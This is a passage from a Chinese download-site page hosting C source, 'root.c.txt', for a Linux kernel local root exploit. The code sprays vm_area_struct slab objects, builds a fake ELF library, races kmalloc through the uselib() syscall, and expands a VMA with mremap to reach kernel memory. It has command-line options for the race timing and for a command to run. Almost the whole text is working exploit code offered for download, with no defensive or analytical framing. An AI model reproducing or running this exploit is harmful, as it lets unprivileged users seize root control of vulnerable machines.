⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 root.c.txt

📁 一些可以实现益出的程序
💻 TXT
📖 第 1 页 / 共 2 页
字号:
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}


//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);
	
//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -